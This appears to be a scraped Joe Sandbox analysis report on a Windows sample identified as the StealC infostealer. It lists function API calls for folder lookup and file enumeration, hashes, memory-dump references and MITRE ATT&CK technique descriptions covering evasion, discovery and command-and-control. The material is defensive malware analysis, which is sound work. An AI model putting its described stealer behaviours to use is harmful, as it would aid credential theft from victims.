Opcode ID: cef4593c7f1d94ae207e4897b63b2d30651d8630729fa8262f1db103701067fc
Instruction ID: 0b502caa1777659a3f1fa81f0ddd8a4ad97179c9ab0871f1e6befd4b4f78c5f0
Opcode Fuzzy Hash: cef4593c7f1d94ae207e4897b63b2d30651d8630729fa8262f1db103701067fc
Instruction Fuzzy Hash: 27F09A32910A009FEF23BBF8A946B5AB3A0AF00720F255249F405AE2D2DB745D409E96

Function 00394F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00398DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00398E0B

lstrcat.KERNEL32(?,00000000), ref: 00394F7A
lstrcat.KERNEL32(?,003A1070), ref: 00394F97
lstrcat.KERNEL32(?,00E392C8), ref: 00394FAB
lstrcat.KERNEL32(?,003A1074), ref: 00394FBD

Part of subcall function 00394910: wsprintfA.USER32 ref: 0039492C
Part of subcall function 00394910: FindFirstFileA.KERNEL32(?,?), ref: 00394943

Part of subcall function 00394910: StrCmpCA.SHLWAPI(?,003A0FDC), ref: 00394971
Part of subcall function 00394910: StrCmpCA.SHLWAPI(?,003A0FE0), ref: 00394987
Part of subcall function 00394910: FindNextFileA.KERNEL32(000000FF,?), ref: 00394B7D
Part of subcall function 00394910: FindClose.KERNEL32(000000FF), ref: 00394B92

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 551205a64b56b7b9297c4544a59af961fccf46dc4e4a828ef755ed4f37b579c2
Instruction ID: 930e95796e892f7ca87ecfb79f1d3be219c2b881a93a4580ed450fc2723dcc5f
Opcode Fuzzy Hash: 551205a64b56b7b9297c4544a59af961fccf46dc4e4a828ef755ed4f37b579c2
Instruction Fuzzy Hash: C421DA7690020C6BCB55FBB0EC46EEE373CAB65304F004584B64996181EE749ACDCB92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00399860 Relevance: 82.5, APIs: 33, Strings: 14, Instructions: 212
libraryloaderCOMMON

Function 003845C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00384880 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Function 00399C10 Relevance: 228.2, APIs: 112, Strings: 18, Instructions: 684
libraryloaderCOMMON

Function 00395510 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Function 00386280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 003917A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00397500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 003969F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00381220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00396AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 003847B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 003951F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON